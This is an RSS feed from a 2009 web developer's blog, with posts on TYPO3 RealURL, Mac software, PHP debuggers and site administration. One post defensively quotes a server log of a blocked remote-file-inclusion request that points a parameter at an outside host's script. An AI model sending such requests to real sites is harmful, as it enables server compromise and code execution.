<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">
	<channel>
		
		<title>Dmitry Dulepov</title>
		<link>http://dmitry-dulepov.com/</link>
		<description>A digitized look to the Universe</description>
		<language>en</language>
		<image>
			<title>Dmitry Dulepov</title>
			<url>http://dmitry-dulepov.com/typo3conf/ext/tt_news/ext_icon.gif</url>
			<link>http://dmitry-dulepov.com/</link>
			<width>18</width>
			<height>16</height>
			<description>A digitized look to the Universe</description>
		</image>
		<generator>TYPO3 - get.content.right</generator>
		<docs>http://blogs.law.harvard.edu/tech/rss</docs>
		
		
		
		<lastBuildDate>Wed, 14 Oct 2009 10:03:00 +0300</lastBuildDate>
		
		
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/dmitry-dulepov-rss" type="application/rss+xml" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item>
			<title>Persisting Korean spider, hack attempts</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/-aHwTiXECrw/persisting-korean-spider-hack-attempts.html</link>
			<description>Two examples of bad behaviour caught by mod_seucirty</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/persisting-korean-spider-hack-attempts.html</guid>
			<content:encoded><![CDATA[<p>After yesterday's incident with a <a href="http://dmitry-dulepov.com/article/stupid-bot-gets-banned.html" >stupid bot</a>, I thought I might give you more insight on what happens on the Net. Here is some interesting&nbsp;examples from mod_security2 logs on my server.
</p>
<h3>Hacking attempt</h3>
<p>Here is a hacking attempt coming from a Russian AGAVA Internet provider:&nbsp;
</p>
<p class="csc-frame-frame1">--8920bc48-A--<br />[13/Oct/2009:21:03:12 +0300] 3Auc3X8AAAIAACKqdxMAAACG 89.108.122.160 58387 213.21.217.206 80<br />--8920bc48-B--<br />GET /%20%20/?subdir=http://ihent.ru/id1.txt? HTTP/1.1<br />TE: deflate,gzip;q=0.3<br />Connection: TE, close<br />Host: xxx<br />User-Agent: Mozilla/5.0</p>
<p>Have a look to the referred script. This is one just outputs something but often there are very sophisticated scripts. I saw one which tried to fill hard disk with various random garbage until space was&nbsp;exhausted. This would make ssh logins and quick recovery impossible.
</p>
<p>There were many requests like this one, all caught.
</p>
<h3>Persisting spider</h3>
<p>Some Korean people seem not to understand that they are not welcome. <span class="inline-code">robots.txt</span> says they are not allowed to index the site. They still do it:&nbsp;
</p>
<p class="csc-frame-frame1">--cde7352d-A--<br />[13/Oct/2009:21:01:16 +0300] 1SbJMn8AAAIAACJ4T0kAAABF 61.247.222.82 50325 213.21.217.206 80<br />--cde7352d-B--<br />GET /xxx HTTP/1.1<br />Host: xxx<br />Accept-Language: ja,en;q=0.5<br />User-Agent: Yeti/1.0 (NHN Corp.; <a href="http://help.naver.com/robots/" target="_blank" >help.naver.com/robots/</a>)<br />Connection: close<br />Accept: */*</p>
<p>I banned one /20 subnet, now they came from a broader one. Well, I'll continue banning them. What else can I do if I do not want them here?</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/-aHwTiXECrw" height="1" width="1"/>]]></content:encoded>
			<category>Security</category>
			
			
			<pubDate>Wed, 14 Oct 2009 10:03:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/persisting-korean-spider-hack-attempts.html</feedburner:origLink></item>
		
		<item>
			<title>Stupid bot gets banned</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/LIbj1WDi97k/stupid-bot-gets-banned.html</link>
			<description>A story about good intentions used for bad purposes. A C# sample was used to create a stupid bot that tried to take my server down.</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/stupid-bot-gets-banned.html</guid>
			<content:encoded><![CDATA[<p>Today one bot, which identified itself as <span class="inline-code">Sean's Agent/1.0 (compatible; SA 1.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322;</span>&nbsp;made 10459 requests to one of my sites within two hours from the same IP address (<span class="inline-code">78.84.130.92</span>).&nbsp;The user agent comes from a <a href="http://www.codeproject.com/KB/cs/SeansDownloader.aspx" target="_blank" >C# sample</a>. This is a good example how good code can be used for bad purposes.
</p>
<p> Looks like somebody stupid&nbsp;took this sample and tried to build some kind of bot with it. This bot tried to grab the site in a very&nbsp;aggressive&nbsp;way, requesting the same page many times. What did it earn in the end? A permanent ban for IP address and this user agent on all my servers.</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/LIbj1WDi97k" height="1" width="1"/>]]></content:encoded>
			<category>Spam</category>
			
			
			<pubDate>Tue, 13 Oct 2009 20:13:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/stupid-bot-gets-banned.html</feedburner:origLink></item>
		
		<item>
			<title>Next version of RealURL is almost ready (1.6.0)</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/2iwl_cch3Uk/next-version-of-realurl-is-almost-ready-160.html</link>
			<description>Version 1.6.0 of RealURL is coming. It supports PHP 5.3 and TYPO3 4.3. Testing is welcome!</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/next-version-of-realurl-is-almost-ready-160.html</guid>
			<content:encoded><![CDATA[<p>The next version of the RealURl TYPO3 extension is almost ready. You can <a href="http://dmitry-dulepov.com/fileadmin/misc/T3X_realurl-1_5_3C-z-200910081224.t3x" title="Initiates file download" class="download" >grab</a> a pre–release copy of it. This version supports long cHash values that will appear and in TYPO3 4.3. Running on&nbsp;PHP 5.3 is fully supported and tested.&nbsp;There is also a lot of bug fixes and an improved redirect module. Here is a full list since the previous release:</p><ul><li>Fixed bug #11393: 2 folder with &quot;exclude from speaking URL&quot; - 404Error</li><li>Fixed bug #9545: &quot;exclude from speaking url segment&quot; doesn't work if there are two or more pages with the flag in the same directory</li><li>Fixed bug #12137: Field field_alias in table tx_realurl_uniqalias too small when using CONCAT_WS('-',verylongfieldname,other...) in alias_field</li><li>Fixed bug #11042: Wrong behaviuor of exclude from speaking url parameter</li><li>Fixed bug #9877: Problems with PD-Admin</li><li>Fixed bug #10329: Speaking URL path segment disappered from page overlay</li><li>Changed index bk_realurl02 (shorter key)</li><li>Commented TCEmain hook: it needs a better way of handling page renames</li><li>Fixed bug #9976: realurl stops working when encodeSpURL_postProc hook is used</li><li>Fixed bug #11873: Error in dokumentation decodeSpURL_postProc does not exist</li><li>Fixed bug #11347: Strip Tags in Titles</li><li>Fixed bug #11777: Add new field &quot;spurl_string&quot; to tx_realurl_chashcache that makes it easier to debug the contents of this table</li><li>Fixed bug #9267: &quot;bad&quot; line in realurl manual</li><li>Removed ereg_* functions (deprecated in PHP 5.3)</li><li>Small fixes in the redirect module</li><li>Replace cHash with the one provided in the query string (Snowflake fix)</li><li>Reworked redirects module</li><li>Fixed problem: if default language uid is not 0 and language is not set in the URL, RealURL still used 0</li><li>Changed layout and fields in the 'Redirects' function</li><li>Removed 'Clear cache' on extension update</li><li>Changed cHash table to use a full md5 string as URL hash. This makes less possible to create wrong cHashes.</li><li>Use full URL in redirects to prevent wrong redirects</li><li>Removed a method to find root page id by is_siteroot check</li><li>Fixed double call to findRootPageId() when using _DOMAINS</li><li>Added pages_language_overlay to modified_tables to make EM happy</li><li>Removed hash from tx_realurl_pathcache and optimized the whole handling of this cache with additional indexes</li><li>Added strict mode with more checks for the configuration</li><li>Added a call to pageNotFound and exit if incoming URL cannot be parsed</li></ul><p>&nbsp;</p>
<p>&nbsp;</p><div><p>What we all need now is a lot of testing. Please, get this version and test it. If you find a bug, post it to the <a href="http://bugs.typo3.org/" title="TYPO3 bug tracker" target="_blank" class="external-link-new-window" >bug tracker</a>, please (no e–mails!). If you have a question about this new version, please, ask in the <a href="http://typo3.org/community/mailing-lists/" title="TYPO3 mailing lists" target="_blank" class="external-link-new-window" >mailing lists</a> (no e–mails!).</p></div><p>&nbsp;</p>
<p>&nbsp;</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/2iwl_cch3Uk" height="1" width="1"/>]]></content:encoded>
			<category>TYPO3</category>
			
			
			<pubDate>Thu, 08 Oct 2009 13:34:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/next-version-of-realurl-is-almost-ready-160.html</feedburner:origLink></item>
		
		<item>
			<title>Installed Snow Leopard</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/o_MKWFgnLus/installed-snow-leopard.html</link>
			<description>Yesterday I installed Snow Leopard. Details under the link.</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/installed-snow-leopard.html</guid>
			<content:encoded><![CDATA[<p>Yesterday I installed Snow Leopard. Here is what I liked:
</p>
<p>&nbsp;</p><ul><li>Exposé in Dock</li><li>Minimize to the same icon instead of adding extra icon to the Dock</li><li>Loads and in general works faster</li><li>Remembers language settings for each application. Now I can type in Russian in Skype, in Latvia in the web browser and in English in NetBeans without using language switch</li></ul><p>What I did not like:
</p>
<p>&nbsp;</p><ul><li>Safari plugins lost</li><li>huge icons in stacks with no way to make them smaller</li><li>PHP 5.3 and no way to downgrade to 5.2.x</li></ul><p>It took 1 hour 15 minutes to update my MacBook Pro.&nbsp;In general it was a good update.
</p>
<p>&nbsp;</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/o_MKWFgnLus" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Mon, 28 Sep 2009 10:20:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/installed-snow-leopard.html</feedburner:origLink></item>
		
		<item>
			<title>Getting rid of PGP WDE for Mac</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/g5y6qqv5agw/getting-rid-of-pgp-wde-for-mac.html</link>
			<description>PGP Inc fails to provide a Snow Leopard Whole Disk Encryption solution in time. I get rid of PGP software.</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/getting-rid-of-pgp-wde-for-mac.html</guid>
			<content:encoded><![CDATA[<p>A couple of months ago I installed PGP Whole&nbsp;Disk&nbsp;Encryption (WDE) for Mac OS X. This software encrypts the entire hard disk and requires pre–boot authentication before allowing Mac OS X to boot. It worked well on Leopard: no slow downs, no faults, simple and effective. I like it.
</p>
<p>Now Snow Leopard is out. PGP Inc promised to release a Snow Leopard–compatible version of WDE together with the Snow Leopard release. They failed. Instead they offered a beta program where anybody can sign up. I signed up twice. No good. Not even a single response from PGP.
</p>
<p>PGP keeps complete silence about updating WDE for Snow Leopard. I waited for weeks but now I decided to get rid of WDE. It is a bad attitude to customers, when&nbsp;PGP continues to keep silence while users actively ask about the status of the software.
</p>
<p>I decided to get rid of WDE and install Snow Leopard. If PGP Inc fails to keep its promises and ignores its customers, than I am no longer a customer of PGP Inc. That ends PGP product usage for me.
</p>
<p>&nbsp;</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/g5y6qqv5agw" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Fri, 25 Sep 2009 12:25:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/getting-rid-of-pgp-wde-for-mac.html</feedburner:origLink></item>
		
		<item>
			<title>XDebug and Zend debugger play nicely together</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/0k2FYBRp54Y/xdebug-and-zend-debugger-play-nicely-together.html</link>
			<description>XDebug and Zend debugger can be loaded simultaneously. Only one of them can debug though.</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/xdebug-and-zend-debugger-play-nicely-together.html</guid>
			<content:encoded><![CDATA[<p>I am very happy with Mac OS X&nbsp;<a href="http://dmitry-dulepov.com/article/64-bit-zend-debugger-for-mac-os-x-is-available.html" >64–bit Zend debugger</a> and Zend Studio. It is a perfect combination for the serious PHP developer. However I miss certain features of XDebug, such as a great error reporting.
</p>
<p>Some years ago I tried running&nbsp;Zend Debugger with XDebug and it did not go: the server simply refused to start because of PHP initialization error. It was a Zend precaution against third party extensions that may prevent debugging.
</p>
<p>Today I decided to try again and I found that it works! The only requirement is that XDebug is loaded before the Zend debugger. It will not be possible to debug with XDebug but profiling and enhanced error reporting works perfectly.
</p>
<p>Whether it is accidental or not, I have no idea. But I really like that Zend allowed XDebug loading in parallel with Zend debugger. It makes developer's life even better.
</p>
<p>Thank you, Zend, again!
</p>
<p>&nbsp;</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/0k2FYBRp54Y" height="1" width="1"/>]]></content:encoded>
			<category>Zend</category>
			
			
			<pubDate>Thu, 17 Sep 2009 19:01:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/xdebug-and-zend-debugger-play-nicely-together.html</feedburner:origLink></item>
		
		<item>
			<title>64–bit Zend Debugger for Mac OS X is available!</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/W2y5uSnGE88/64-bit-zend-debugger-for-mac-os-x-is-available.html</link>
			<description>If you, like me, use Zend Studio on Mac OS X, you know there were no official Zend 64–bit PHP debugger for Mac OS X. Some time ago Zend posted a true universal binary (including 64–bit version!) to the Zend Advisory Team for testing. We tested it there and it works perfectly!
Today I happy to say that Zend released this version for... (Continued on the web site)</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/64-bit-zend-debugger-for-mac-os-x-is-available.html</guid>
			<content:encoded><![CDATA[<p>If you, like me, use Zend Studio on Mac OS X, you know <a href="http://dmitry-dulepov.com/article/zend-debugger-goes-64-bit-on-mac-os-x.html" >there were no</a> official Zend&nbsp;64–bit PHP&nbsp;debugger for Mac OS X. Some time ago Zend posted a true universal binary (including&nbsp;64–bit version!) to the Zend Advisory Team for testing. We tested it there and it works perfectly!
</p>
<p>Today I happy to say that Zend released this version for public use. <a href="http://forums.zend.com/viewtopic.php?f=59&amp;t=2333#p8809" title="64–bit Zend debugger for Mac OS X is public!" target="_blank" class="external-link-new-window" >Read</a> the announcement made by Roy Ganor about it.</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/W2y5uSnGE88" height="1" width="1"/>]]></content:encoded>
			<category>Zend</category>
			
			
			<pubDate>Wed, 16 Sep 2009 12:43:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/64-bit-zend-debugger-for-mac-os-x-is-available.html</feedburner:origLink></item>
		
		<item>
			<title>E-mail puzzle</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/oa9R1Qz9NXw/e-mail-puzzle.html</link>
			<description>How not to write e–mails. An example.</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/e-mail-puzzle.html</guid>
			<content:encoded><![CDATA[<p>What would you think if you have received an e–mail that looks approximately like this:</p><div class="indent"><p><i>Dear Dimitri!</i>
</p>
<p><i>We found your web site and we think that you are a TYPO3 expert. We are a leading TYPO3 agency with 6 months history. Our agency lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse et lectus eget dolor fringilla suscipit. Fusce elementum orci in tellus rutrum blandit. Aenean pretium laoreet massa at gravida. Phasellus tortor lacus, euismod pellentesque hendrerit ac, tincidunt sit amet felis. Nam at est non lacus hendrerit egestas non eget magna.</i>
</p>
<p><i>Mauris ut nunc eget elit vestibulum pharetra ac vitae nunc. Ut nec pharetra turpis. Ut diam lectus, iaculis ut eleifend in, lobortis vitae velit. Fusce viverra nunc et odio ultrices sit amet blandit quam mollis. Nullam ultricies enim id nunc convallis euismod. Nunc scelerisque, velit a vehicula cursus, sapien risus sodales leo, sit amet pretium ante dolor sed diam.</i>
</p>
<p><i>Duis orci ante, sollicitudin non tristique vitae, blandit at nisl. Aenean sed erat leo, eget luctus diam. Vestibulum vitae ligula vitae dolor auctor adipiscing. Curabitur ullamcorper facilisis porttitor. Aenean augue magna, imperdiet id egestas et, tincidunt molestie nulla. Vestibulum molestie purus at est ornare at aliquet sapien mollis.</i>
</p>
<p><i>Can we ask you a simple TYPO3 question?</i>
</p>
<p><i>--<br />Best regards,<br />John Doe<br />CEO &quot;Super Web Agency&quot;</i>
</p>
<p><i>This e–mail is confid...uis id justo at metus facilisis rutrum. Nullam bibendum volutpat interdum. Suspendisse porta nisl eu dui vestibulum aliquet. Etiam interdum tellus et mauris dictum consequat. Aenean vehicula, quam eu faucibus imperdiet, metus nisl ultricies diam, non porta velit mauris eget nunc. Nam commodo cursus vehicula. Duis vitae nibh in risus ornare ultricies. Duis rhoncus rhoncus urna, et laoreet urna porttitor vitae. Integer at bibendum nisi. Etiam nec nunc quis nisi laoreet tristique. Nullam laoreet varius magna, quis vestibulum quam lobortis laoreet. Morbi sollicitudin sem mattis quam sollicitudin vitae mattis nisi ornare.</i></p></div><p>E–mail's&nbsp;informational&nbsp;value or size&nbsp;did not change much after I replaced some text with lorem ipsum. All really relevant parts are kept.
</p>
<p>Please, let me know your opinion&nbsp;in comments.</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/oa9R1Qz9NXw" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Sun, 13 Sep 2009 23:04:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/e-mail-puzzle.html</feedburner:origLink></item>
		
		<item>
			<title>New book review: Magento 1.3 Theme Design</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/DtQsgjwTwSE/magento-13-theme-design-by-richard-carter.html</link>
			<description>This book is very useful for both Magento designers and Magento developers. Designers will know how to create Magento themes efficiently and developers will get a very interesting insight into theming in web applications. Highly recommended book!</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/reviews/magento-13-theme-design-by-richard-carter.html</guid>
			<content:encoded><![CDATA[<img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/DtQsgjwTwSE" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Wed, 09 Sep 2009 20:35:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/reviews/magento-13-theme-design-by-richard-carter.html</feedburner:origLink></item>
		
		<item>
			<title>Is Yahoo better than Google at search?</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/Wdw0lgVANE8/is-yahoo-better-than-google-at-search.html</link>
			<description>Blind search shows that Google is not the best search engine out there: it does not provide most relevant search results. Yahoo does better!</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/is-yahoo-better-than-google-at-search.html</guid>
			<content:encoded><![CDATA[<p>I use <a href="http://blindsearch.fejus.com/" title="Test three major search engines: Bing, Google and Yahoo for most relevant search results" target="_blank" class="external-link-new-window" >Blind Search</a> a lot recently. It fetches search results from three major search engines: Bing, Google and Yahoo. It shows results to you and than asks what results you like the most. I found that most often I am satisfied with Yahoo search results. For example, searching for &quot;magento set product type programmatically&quot; showed two first&nbsp;results in Yahoo where I got most answers to my questions. Bing was #2 and Google was #3.
</p>
<p>This is not a single example. I find that Google relelvancy becomes worse and worse. It is much harder to find what you are really looking for. Blind search shows me that Yahoo is now better than Google and Bing is nearly the same as Google.
</p>
<p>Will Google loose the battle?</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/Wdw0lgVANE8" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Thu, 20 Aug 2009 16:55:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/is-yahoo-better-than-google-at-search.html</feedburner:origLink></item>
		
		<item>
			<title>YouTube drops Internet Explorer 6 support</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/hfo7dSgHOW0/youtube-drops-internet-explorer-6-support.html</link>
			<description>YouTube decided to drop MSIE6 support. Is it good or bad?</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/youtube-drops-internet-explorer-6-support.html</guid>
			<content:encoded><![CDATA[<p>TechCrunch <a href="http://www.techcrunch.com/2009/07/14/youtube-will-be-next-to-kiss-ie6-support-goodbye/" title="YouTube drops MSIE6 support" target="_blank" class="external-link-new-window" >reports</a> that YouTube may drop Microsoft Internet Explorer 6 support soon. In my opinion this is excellent news. Just a couple of days ago I spent almost the whole day trying to make the site with complex CSS layout work correctly in the Internet Explorer 6. FireFox, Opera, Safari and newer versions of Internet Explorer were all fine. Internet Explorer 6 required its own CSS. It is plain stupid to support such an old browser that does not behave according to standards in any mode.
</p>
<p>I do welcome MSIE6 support drop from major market players! It means that users will start to upgrade and we (web developers) can finally get rid of this old and badly working browser.
</p>
<p>Since YouTube belongs to Google, it can be a first step for Google to drop MSIE6 support. If Google does it, it would be a big help to all web developers around.
</p>
<p>Google, please?!</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/hfo7dSgHOW0" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Tue, 14 Jul 2009 22:51:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/youtube-drops-internet-explorer-6-support.html</feedburner:origLink></item>
		
		<item>
			<title>Impressions about Adobe Creative Suite 3 Web Premium</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/YxZiCUh463Y/impressions-about-adobe-creative-suite-3-web-premium.html</link>
			<description>Last Saturday I finally got my copy of the Adobe Creative Suite 3 Web Premium from eBay. This software is costly, so I looked for a good opportunity to acquire it. My edition includes Photoshop Extended, Illustrator, Acrobat Professional, Flash, Fireworks, Dreamweaver and something else that I never heard of before. I mostly need Photoshop,... (Continued on the web site)</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/impressions-about-adobe-creative-suite-3-web-premium.html</guid>
			<content:encoded><![CDATA[<p>Last Saturday I finally got my copy of the Adobe Creative Suite 3 Web Premium from eBay. This software is costly, so I looked for a good opportunity to acquire it. My edition includes Photoshop Extended, Illustrator, Acrobat Professional, Flash, Fireworks, Dreamweaver and something else that I never heard of before. I mostly need Photoshop, Illustrator and Flash, the rest is not very relevant to me.
</p>
<p>First impressions are good. I never was a fan of Adobe products but CS3 is suprisingly good. For example, Photoshop Extended open faster than Photoshop Elements. I am not sure how it can be (Elements is supposed to be lighter). It also consumes less memory, opens files faster. Interesting fact is that Photoshop's user interface did not change since mid–nineties: still many scattered windows, still small ugly fonts. But on the other hand people are used to it, so changing it may cause certain invonvenience.
</p>
<p>In overal I am very satisfied with the purcase. I got it for a good price and all professional possibilities are now open to me.</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/YxZiCUh463Y" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Tue, 14 Jul 2009 18:51:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/impressions-about-adobe-creative-suite-3-web-premium.html</feedburner:origLink></item>
		
		<item>
			<title>Converting Photoshop Elements to full Photoshop (almost)</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/F0x1uWYjoi4/converting-photoshop-elements-to-full-photoshop-almost.html</link>
			<description>How to get almost full Adobe Photoshop functionality in Adobe Photoshop Elements</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/converting-photoshop-elements-to-full-photoshop-almost.html</guid>
			<content:encoded><![CDATA[<p>Adobe Photoshop is a de facto standard for graphical processing. If you work with web site or any other graphical design. Photoshop is usually a must.
</p>
<p>However not everyone can afford it. Adobe charges a lot for its products. Fortunately with Photoshop there is a much cheaper replacement: Adobe Photoshop Elements. It costs nearly <a href="http://www.amazon.com/Adobe-65026616-Photoshop-Elements-7/dp/B001DMBWXS/ref=sr_1_1?ie=UTF8&amp;s=software&amp;qid=1246909011&amp;sr=1-1" title="Adobe Photoshop Elements on Amazon" target="_blank" class="external-link-new-window" >$70</a> instead of <a href="http://www.amazon.com/Adobe-65015634-Photoshop-CS4/dp/B001EUBSL0/ref=sr_1_5?ie=UTF8&amp;s=software&amp;qid=1246909011&amp;sr=1-5" title="Adobe Photoshop CS4 on Amazon" target="_blank" class="external-link-new-window" >$645</a> for the full Photoshop. Photoshop Elements is intended mainly for Photographers and amateur designers. It lacks many advanced powerful features of its full brother, such as layer sets, curves, etc.
</p>
<p>Recently I got a PSD file. It had layer sets. Photoshop Elements cannot open layer sets. It shows them as a single non–editable group (note non–editable pencils on the right):
</p>
<p class="align-center"><img src="http://dmitry-dulepov.com/fileadmin/article-images/photoshop/photoshop-elements-layer-sets-01.png" height="448" width="279" alt="" /></p>
<p>I searched the web for the way to open the group in the Photoshop Elements or to split the layer set into separate layers. I could find the way to do it but I found a better solution.
</p>
<p>I found a <a href="http://www.simplephotoshop.com/elementsplus/" title="Adobe Photoshop elements that enables hidden features" target="_blank" class="external-link-new-window" >plugin</a> for the Photoshop Elements that enables many of the missing features. Since Photoshop and Photoshop Elements share the same code base, functions are there, they simply have no UI. The plugin adds the UI for these features (over 150 total). It costs $12. So for $70+$12 I was able to get more of the functionality of the full Photoshop that costs $645. Some features are available in full, others (like layer set ungrouping) are workarounds. In my case I was able to ungroup grouped layers:
</p>
<p class="align-center"><img src="uploads/RTEmagicC_photoshop-elements-layer-sets-02.png.png" height="691" width="284" alt="" /></p>
<p>I highly recommend this solution to anyone who cannot afford full Photoshop but have to edit PSD files created by Adobe's editor.</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/F0x1uWYjoi4" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Mon, 06 Jul 2009 22:33:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/converting-photoshop-elements-to-full-photoshop-almost.html</feedburner:origLink></item>
		
		<item>
			<title>Skype CPU usage</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/QsKZyiJhc0g/skype-cpu-usage.html</link>
			<description>A small interesting fact: one animated image in the Skype chat window (the one with tongue out) raises Skype CPU usage from 5.5 to 11% (double!).
Nothing to do about it, just an interesting fact :)</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/skype-cpu-usage.html</guid>
			<content:encoded><![CDATA[<p>A small interesting fact: one animated image in the Skype chat window (the one with tongue out) raises Skype CPU usage from 5.5 to 11% (double!).
</p>
<p>Nothing to do about it, just an interesting fact :)</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/QsKZyiJhc0g" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Wed, 01 Jul 2009 16:34:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/skype-cpu-usage.html</feedburner:origLink></item>
		
		<item>
			<title>Shortcut icon in a TYPO3 multidomain installation</title>
			<link>http://feedproxy.google.com/~r/dmitry-dulepov-rss/~3/4netHzQRZhE/shortcut-icon-in-a-typo3-multidomain-installation.html</link>
			<description>Creating different shortcut icons for TYPO3 web sites sharing the same physical file space</description>
			<guid isPermaLink="false">http://dmitry-dulepov.com/article/shortcut-icon-in-a-typo3-multidomain-installation.html</guid>
			<content:encoded><![CDATA[<p>Creating a shortcut icon in the TYPO3 multidomain installation can be a tricky option. Modern browsers (like FireFox, for example), support a link tag that allows to place shortcut icons to pages. There can be transparent gif or png files. The syntax is simple: 
</p>
<p class="csc-frame-frame1">&lt;link rel=&quot;icon&quot; type=&quot;image/gif&quot; href=&quot;/fileadmin/icons/www.gif&quot; /&gt;</p>
<p>In TYPO3 you can add it through the normal <span class="inline-code">page.headerData</span> or <span class="inline-code">page.shortcutIcon</span> TypoScript.
</p>
<p>Luck ends here. The most popular browser, Microsoft Internet Explorer does not recognize this tag, requires the file to be named <span class="inline-code">favicon.ico</span>, be placed in the root of the web site and supports only Windows proprietary icon file format (<span class="inline-code">.ico</span>). So you can hardly have different icons for the Internet Explorer without tricks.
</p>
<h2>Creating icons</h2>
<p>Creating Windows icons is easy if you have ImageMagick installed. Just execute:
</p>
<p class="csc-frame-frame1">convert www.gif www.ico</p>
<p>You can use any other tool but ImageMagick is probably the simplest, it converts without quality loss and preserves transparency.
</p>
<h2>Tricking Internet Explorer to show different icons</h2>
<p>Next we have to trick Internet Explorer to receive different files for different sites that are physically located in the same file system space. As usual for such cases, <span class="inline-code">mod_rewrite</span> is our great friend. Assuming we have two icons for two domains, we use these rules in the virtual host configuration:
</p>
<p class="csc-frame-frame1">&lt;LocationMatch &quot;^/favicon.ico$&quot;&gt;<br />&nbsp;&nbsp; &nbsp;RewriteEngine On<br />&nbsp;&nbsp; &nbsp;RewriteCond %{HTTP_HOST} ^www<br />&nbsp;&nbsp; &nbsp;RewriteRule .* /fileadmin/icons/www.ico [L]<br />&nbsp;&nbsp; &nbsp;RewriteCond %{HTTP_HOST} ^subdomain<br />&nbsp;&nbsp; &nbsp;RewriteRule .* /fileadmin/icons/subdomain.ico [L]<br />&lt;/LocationMatch&gt;</p>
<p>Note that we do not use 301 or 302 redirects. They do not work well with Internet Explorer. We have to do internal redirects.
</p>
<p>This makes all requests to <span class="inline-code">favicon.ico</span> forwarded to proper real files.</p><img src="http://feeds.feedburner.com/~r/dmitry-dulepov-rss/~4/4netHzQRZhE" height="1" width="1"/>]]></content:encoded>
			<category>Buzz</category>
			
			
			<pubDate>Tue, 30 Jun 2009 23:04:00 +0300</pubDate>
			
		<feedburner:origLink>http://dmitry-dulepov.com/article/shortcut-icon-in-a-typo3-multidomain-installation.html</feedburner:origLink></item>
		
